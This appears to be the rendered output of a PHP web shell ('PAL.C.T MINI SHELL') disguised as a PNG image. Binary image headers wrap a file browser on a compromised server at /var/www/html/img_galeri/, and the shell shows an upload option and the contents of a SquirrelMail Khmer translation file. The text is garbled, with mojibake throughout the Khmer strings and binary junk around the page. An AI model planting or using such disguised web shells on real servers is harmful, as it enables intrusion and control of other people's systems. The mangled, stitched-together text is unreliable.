‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/quicksave.po

# Khmer (km) quicksave Translation
# Auk Piseth <piseth_dv@khmeros.info>, 2008.
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2008, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: quicksave\n"
"Report-Msgid-Bugs-To: Paul Lesniewski <paul@squirrelmail.org>\n"
"POT-Creation-Date: 2007-10-23 23:57+0200\n"
"PO-Revision-Date: 2009-04-24 09:29+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: functions.php:93
msgid "Message Save Frequency"
msgstr "ភាព​ញឹកញាប់​នៃ​ការ​រក្សាទុក​សារ"

#: functions.php:94
msgid "(set to zero to turn off)"
msgstr "(កំណážáŸ‹â€‹áž‘ៅ​សូន្យ ដើម្បី​បិទ)"

#: functions.php:103
msgid "Message Save Units"
msgstr "ឯកážáž¶â€‹ážšáž€áŸ’សាទុក​សារ"

#: functions.php:105
msgid "Seconds"
msgstr "វិនាទី"

#: functions.php:106
msgid "Miliseconds"
msgstr "មិល្លីវិនាទី"

#: functions.php:117
msgid "Cookie Encryption Level"
msgstr "កម្រិážâ€‹áž¢áŸŠáž·áž“គ្រីប​ážáž¼áž‚ី"

#: functions.php:119
msgid "None"
msgstr "គ្មាន"

#: functions.php:120
msgid "Low"
msgstr "ទាប"

#: functions.php:121
msgid "Medium"
msgstr "មធ្យម"

#: functions.php:122
msgid "Moderate"
msgstr "កណ្ដាល"

#: functions.php:130
msgid "Auto Message Save and Recovery"
msgstr "រក្សាទុក និង​សង្គ្រោះ​សារ​ដោយ​ស្វáŸáž™áž”្រវážáŸ’ážáž·"

#: functions.php:377 functions.php:396
msgid "Cancel"
msgstr "បោះបង់"

#: functions.php:1034
msgid ""
"QuickSave Error - No encryption password given.  Please contact your system "
"administrator."
msgstr "កំហុស​ការ​រក្សាទុក​រហáŸážŸ - គ្មាន​ពាក្យ​សម្ងាážáŸ‹â€‹áž€áž¶ážšâ€‹áž¢áŸŠáž·áž“គ្រីប​ដែល​បាន​ផ្ដល់​ទáŸâ€‹áŸ” សូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក ។"

#: functions.php:1035
msgid ""
"QuickSave Error - Algorithm cannot find a suitable hash; bad password."
"\\nPlease contact your system administrator."
msgstr ""
"កំហុស QuickSave - ក្បួន​ដោះស្រាយ​មិនអាច​រក​មើល​ការ​បញ្ចូល​គ្នា​ដែល​សមរម្យ​នោះ​ទáŸÂ áŸ” ពាក្យ​សម្ងាážáŸ‹â€‹áž˜áž·áž“​ážáŸ’រឹមážáŸ’រូវ ។"
"\\nសូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក ។"

#: functions.php:1036 login_functions.php:442
msgid ""
"QuickSave Error - A salt value could not be extracted from the encrypted "
"message\\nbecause its length is too short.  The message cannot be decrypted."
"\\nPlease contact your system administrator."
msgstr ""
"កំហុស QuickSave - ážáž˜áŸ’លៃ​លាយ​គ្នា​ មិនអាច​ស្រង់ចáŸáž‰â€‹â€‹áž–ី​សារ​ដែល​បាន​អ៊ិនគ្រីប​បាន​ទáŸ\\nព្រោះ​ប្រវែង​របស់​វា​ážáŸ’លី​ពáŸáž€Â áŸ” សារ​មិនអាច​ឌិគ្រីប​បាន​ទáŸÂ áŸ”"
"\\nសូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក ។"

#: functions.php:1037 login_functions.php:446
msgid ""
"QuickSave Error - No decryption password given.  Please contact your system "
"administrator."
msgstr "កំហុស QuickSave - គ្មាន​ពាក្យ​សម្ងាážáŸ‹â€‹áž€áž¶ážšâ€‹ážŒáž·áž‚្រីប​ដែល​បានផ្ដល់​ទáŸÂ áŸ” សូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក ។"

#: functions.php:1281 login_functions.php:88 login_functions.php:92
msgid "<none>"
msgstr "<គ្មាន>"

#: functions.php:1282
msgid "WARNING: The following email was interrupted and was never sent!"
msgstr "ព្រមាន ៖ អ៊ីមែល​ážáž¶áž„ក្រោម​ážáŸ’រូវបាន​បង្អាក់ និង​មិនážáŸ’រូវ​បាន​ផ្ញើ​ទáŸÂ !"

#: functions.php:1283 login_functions.php:125
#: templates/default/motd_recover_alert.tpl:49
msgid "To:"
msgstr "ជូន​ចំពោះ ៖"

#: functions.php:1284 login_functions.php:128
#: templates/default/motd_recover_alert.tpl:52
msgid "Subject:"
msgstr "ប្រធាន​បទ ៖"

#: functions.php:1285
msgid "Do you wish to resume it?  (Press cancel to discard message)"
msgstr "ážáž¾â€‹áž¢áŸ’នក​ចង់​ធ្វើ​វា​បន្ážâ€‹áž¬â€‹áž‘áŸÂ ? (ចុច បោះបង់ ដើម្បី​បោះបង់​សារ​ចោល)"

#: functions.php:1286
msgid "Email restored!"
msgstr "បាន​ស្ដារ​អ៊ីមែល​ឡើងវិញ !"

#: functions.php:1287
msgid "Please remember to press Send when finished typing your message."
msgstr "សូម​ចងចាំážáž¶ ážáŸ’រូវ​ចុច ផ្ញើ នៅពáŸáž›â€‹áž”ញ្ចប់​ការ​វាយ​បញ្ចូល​សារ​របស់​អ្នក ។"

#: login_functions.php:112 login_functions.php:134 login_functions.php:139
msgid "Click here to resume it."
msgstr "ចុច​នៅ​ទីនáŸáŸ‡ ដើម្បី​ធ្វើ​វា​បន្ážÂ áŸ”"

#: login_functions.php:123 templates/default/motd_recover_alert.tpl:47
msgid "NOTE: The following email was interrupted and was never sent:"
msgstr "ចំណាំ ៖ អ៊ីមែល​ážáž¶áž„ក្រោម​ážáŸ’រូវបាន​បង្អាក់ និង​មិន​ážáŸ’រូវ​បាន​ផ្ញើ​ទáŸÂ áŸ–"

#: login_functions.php:136 templates/default/motd_recover_alert.tpl:61
msgid "NOTE: You have an unsent message that was interrupted."
msgstr "ចំណាំ ៖ អ្នក​មាន​សារ​ដែល​មិនទាន់​ផ្ញើ ដោយសារ​បង្អាក់ ។"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚